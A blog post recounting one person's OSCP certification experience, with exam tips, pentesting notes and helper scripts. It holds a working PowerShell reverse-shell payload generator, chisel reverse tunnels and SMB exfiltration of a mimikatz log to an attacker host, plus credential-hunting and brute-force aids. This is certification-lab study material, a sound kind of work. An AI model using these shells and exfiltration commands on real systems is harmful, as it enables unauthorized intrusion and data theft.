Since february 22 I can call myself an Offensive Security Certified Professional. It took me 90 days of lab time and two exam attempts.

This is a writeup about my OSCP experience. These are things I created/copied which I could not find in other OSCP writeups.

OSCP preparation

I used TjNull’s list of HackTheBox and Proving Grounds machines to prepare for the labs.

Exam(s)

My first exam took place on January 3rd at 7 AM. Unfortunately, I didn’t pass, spending nearly the entire 24-hour period attempting to solve the challenges. From this experience, I learned the importance of dedicating focused time to each machine. It’s crucial not to switch between machines every 30 minutes. During the exam, I noticed a habit of mine: for example, working on machine X in between attempting to crack a hash on machine Y.

This lesson greatly benefited me during my second attempt on February 19th, also starting at 7 AM. I managed to fully compromise each machine one by one without switching between them when encountering difficulties. By rooting the three individual machines, I amassed a sufficient number of points by around 1 PM. However, the remainder of the day was spent fruitlessly trying to crack the AD set.

This leads me to my second tip: I highly recommend striving for the bonus points, as they proved to be a lifesaver during my exam. Since I couldn’t compromise the AD set, rooting the three individual boxes allowed me to accumulate enough points to pass.

Miscellaneous notes

Note: some of these notes have been created while completing Proving Grounds or HackTheBox machines. So they may not be required to know for the OSCP exam, they are good to know nonetheless.

  • Low-hanging fruit for potential passwords: same password as username, service name as the password (e.g., ftp), reverse username as password.
  • Use the following WPScan flags for optimum scan coverage: wpscan -e p --plugins-detection aggressive --detection-mode aggressive
  • If you are looking for a su user equivalent on Windows: Invoke-RunasCs.ps1
  • A PHPinfo page could contain interesting file paths you can use later. For example, to upload a webshell to an absolute location.
  • Use nikto to check for interesting response headers.
  • In my experience, the dirbuster lists do not check for .git folders in web applications. If you are lucky nmap scripts will detect them, but sometimes nmap does not. Make sure to check manually, or use this browser extension.
  • If you manage to obtain RCE to a system, make sure to check config files of present services for potential credentials for privilege escalation.
  • While nmap has a script that checks the content of robots.txt, it can miss some data that is present. Make sure to check robots.txt manually.
  • fasttrack/wordlist.txt is another possible wordlist if rockyou does not work. Look it up online, or it should be available in your default Kali install.
  • asp(x) reverse shell generated by msfvenom does not always work! I usually use this one.
  • Sometimes usernames are case-sensitive! Maybe you must capitalize the first letter.
  • I had a lot of trouble with SharpHound’s compatibility with BloodHound. After investigation, SharpHound 1.1.1 turned out to be compatible with BloodHound 4.3.1.
  • If you stumble upon a database which is connected to an application with authentication, instead of trying to crack the password hashes you can try to replace the password with a hash you know the password of.
  • When spraying RDP, use Hydra instead of CrackMapExec. It gives fewer false results
  • Sometimes you need to use curl to in/exfiltrate data to a machine. I found that curl.exe sometimes works better than curl (link).
  • If you cannot log in with mssqlclient.py, try using -windows-auth.

Converting Windows to Linux text formats

Sometimes I wanted to view the output of e.g., winpeas, on my main Linux machine. In order to do so, the file has to be converted from UTF-16-LE to UTF-8:

$ iconv -f utf-16le -t utf-8 win.txt -o winutf8.txt

Directory traversal of SSH keys.

If you want to obtain an SSH key through directory traversal (or other method), note that not all default key names are id_rsa! Here are the default SSH key names.

  • id_rsa
  • id_dsa
  • id_ecdsa
  • id_ed25519

Brute forcing

Use as last resort. Strategy for brute forcing:

Use every username you have enumerated, and use rockyou.txt for about 10 minutes per username. If no results, move on to the next username.

Tunneling with chisel

Credits to 0xdf:

Start server on Kali:

$ chisel server -p 8000 --reverse

On victim:

CommandNotes
chisel client 10.10.14.3:8000 R:80:127.0.0.1:80Listen on Kali 80, forward to localhost port 80 on client
chisel client 10.10.14.3:8000 R:443:10.10.10.240:80Listen on Kali 443, forward to 10.10.10.240 port 80

Exfiltrate via SMB:

If you are on a Windows host and want to exfiltrate data to your Kali, use this.

On Kali:

$ sudo smbserver.py share . -smb2support -username pim -password pim

On Windows:

net use m: \\${Kali_IP}\share /user:pim pim
copy mimikatz.log m:\

99% of the time, it works every time.

Recursive search interesting files:

Here are two oneliners that allow you to find interesting files, that could contain credentials. Very useful for privilege escalation!

Powershell:

Get-ChildItem -Path C: -Include *.ps1*,*.txt*,*.exe*,*.log*,*.ini*,*.kdbx*,*.pdf*,*.xls*,*.xlsx*,*.doc*,*.docx* -File -Recurse -ErrorAction SilentlyContinue

Bash:

find / -type f \( -iname \*.txt\* -o -iname \*.log\* -o -iname \*.ps1\* -o -iname \*.exe\* -o -iname \*.ini\* -o -iname \*.kdbx\* -o -iname \*.pdf\* -o -iname \*.xls\* -o -iname \*.xlsx\* -o -iname \*.doc\* -o -iname \*.docx\* \) 2> /dev/null

Ligolo

In the OSCP labs you will find a lot of boxes that are dual-homed, i.e., have more than one network interface. I really recommend learning to use Ligolo-NG, because it is a really easy and awesome tool to access the networks of dual-homed machines.

Directory traversal files to check:

Should you suspect a directory traversal attack on a webpage, these are some common files you can test for:

  • C:\Windows\System32\drivers\etc\hosts
  • /etc/passwd
  • C:\inetpub\wwwroot\web.config

Some useful scripts

These are some useful scripts that I used during the OSCP labs and/or exam.

mkpsrevshell.py

This script generates a Powershell payload for a reverse shell. Just give it your IP and port number:

$ mkpsrevshell.py 192.168.45.158 443
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
#
# generate reverse powershell cmdline with base64 encoded args
# Credit: tothi - https://gist.github.com/tothi/ab288fb523a4b32b51a53e542d40fe58
#

import sys
import base64

def help():
    print("USAGE: %s IP PORT" % sys.argv[0])
    print("Returns reverse shell PowerShell base64 encoded cmdline payload connecting to IP:PORT")
    exit()

try:
    (ip, port) = (sys.argv[1], int(sys.argv[2]))
except:
    help()

# payload from Nikhil Mittal @samratashok
# https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3

payload = '$client = New-Object System.Net.Sockets.TCPClient("%s",%d);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
payload = payload % (ip, port)

cmdline = "powershell -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()

print(cmdline)

Cartesian credentials

When you have a username and password list and want to merge them into a cartesian product, just use this script:

$ cartesian usernames.txt passwords.txt

I found this to be useful as payload for e.g., Burp Intruder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/bin/env python3
"""
Creates the cartesian product of all lines in two files. Mainly used for generating username:password combos of enumerated data.
"""
from sys import argv

if len(argv) != 3:
    print(f"USAGE: {argv[0]} usernames.txt passwords.txt")
    exit(1)

# Read the contents of usernames.txt and passwords.txt
with open(argv[1], 'r') as user_file:
    usernames = user_file.read().splitlines()

with open(argv[2], 'r') as password_file:
    passwords = password_file.read().splitlines()

# Create the Cartesian product of usernames and passwords
cartesian_product = [(username, password) for username in usernames for password in passwords]

for username, password in cartesian_product:
    print(f'{username}:{password}')

Nmapper

This is a script I used to automate the nmapping process. You execute it by giving it a folder name (in my case my Obsidian notes folder) and a list of IP addresses:

$ nmapper /home/pim/oscp/notes 1.1.1.1 2.2.2.2 3.3.3.3

In the current working directory, the script will create a folder for every last octet of the IP addresses (in the example 1, 2, and 3) which contains the grepable format of the nmap scan (used later). Furthermore, in the specified folder (argument 1), it will create markdown files named after the last octet (1.md, 2.md, 3.md), containing the normal nmap output.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/env bash

# Create an array to store background process IDs
declare -a bg_pids=()

for ip in "${@:2}"
do
    last_part="$(echo "$ip" | cut -d'.' -f4)"
    mkdir -p "$last_part"
    cd "$last_part" || exit
    sudo nmap -sC -sV -p- -T4 -O -oG nmap-tcp.grep -oN "$1/$last_part.md" "$ip" &
    bg_pids+=($!)  # Store the process ID in the array
    cd ..
done

# Wait for all background processes to complete
for pid in "${bg_pids[@]}"
do
    wait "$pid"
done

cd "$1" || exit
for ip in "${@:2}"
do
    file="$(echo "$ip" | cut -d'.' -f4).md"
    sudo chown $(whoami):$(whoami) "$file"
    echo '```' | cat - "$file" > temp && mv temp "$file"
    echo '```' >> "$file"
done

Gmap

Requires prettier. This script uses the grepable nmap scan file and turns it into a prettified markdown table containing an overview of all open ports. I usually use it in vim, where I write my OSCP exam report:

# Vim command
:read !gmap ../nmap-tcp.grep
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/env bash
# Turn nmap grepable output into OSCP markdown table
# Dependencies: prettier (https://prettier.io/)
TEMP=$(mktemp -d)
MARKDOWN="$TEMP/ugly.md"
echo "Server IP Address | Ports Open" >> "$MARKDOWN"
echo "------------------|-----------" >> "$MARKDOWN"

for FILE in "$@"; do
    IP=$(grep -n "^" "$FILE" | grep '^2:' | grep -E -o '([0-9]{1,3}\.){3}[0-9]{1,3}')
    if grep -q "tcp" "$FILE"; then
        PROTO="TCP"
    else
        PROTO="UDP"
    fi
    PORTS=$(grep -n "^" "$FILE" | grep '^3:' | grep -oE '([0-9]+)/' | awk -F'/' '{print $1}' | tr '\n' ', ' | sed 's/,$//' )
    echo "$IP|$PROTO: $PORTS" >> "$MARKDOWN"
done

prettier "$MARKDOWN"
rm -rf "$TEMP"

Dockershellhere

Credits to ropnop. Creates a shell for a specific Linux distro, inside your current directory. Super easy for quickly compiling exploits for specific disto versions:

~/exploit $ dockershellhere ubuntu:20.04
dockershellhere () {
    dirname=${PWD##*/}
    sudo docker run --rm -it --entrypoint=/bin/bash -v `pwd`:/${dirname} -w /${dirname} "$@"
}